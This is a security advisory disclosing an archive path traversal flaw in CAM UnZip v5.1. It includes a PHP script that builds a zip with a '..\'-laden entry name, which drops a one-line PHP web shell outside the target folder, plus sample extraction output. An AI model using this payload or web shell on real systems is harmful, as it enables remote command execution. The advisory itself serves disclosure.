[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

CAM UnZip v5.1 Archive Directory Traversal

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/CAMUNZIP-ARCHIVE-PATH-TRAVERSAL.txt


CAM UnZip v5.1

Vulnerability Type:
Archive Path Traversal

CVE Reference:

Vulnerability Details:

CAM UnZip fails to check that the paths of the files in the archive do not engage in path traversal when uncompressing the archive files.
specially crafted files in the archive containing '..\' in file name can overwrite files on the filesystem by backtracking or allow attackers
to place malicious files on system outside of the target unzip directory which may lead to remote command execution exploits etc...

Tested successfully Windows 7

Exploit code(s):

malicious archive script...

#CAM UnZip v5.1
#directory traversal to remote code execution exploit

if($argc<2){echo "Usage: <filename>";exit();}

$zip = new ZipArchive();
$res = $zip->open("$file_name.zip", ZipArchive::CREATE);
$zip->addFromString("..\..\..\..\..\..\..\..\RCE.php", '<?php exec($_GET["cmd"]); ?>');

echo "Malicious archive created...\r\n";
echo "========= hyp3rlinx ============";



Creating Folder: C:\Test\BOZO

Extracting Files From: C:\Test\BOZO.zip

Unzipped file C:\Test\BOZO\..\..\..\..\..\..\..\..\RCE.php of size 28

1 file was Extracted.


Exploitation Technique:

Severity Level:

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.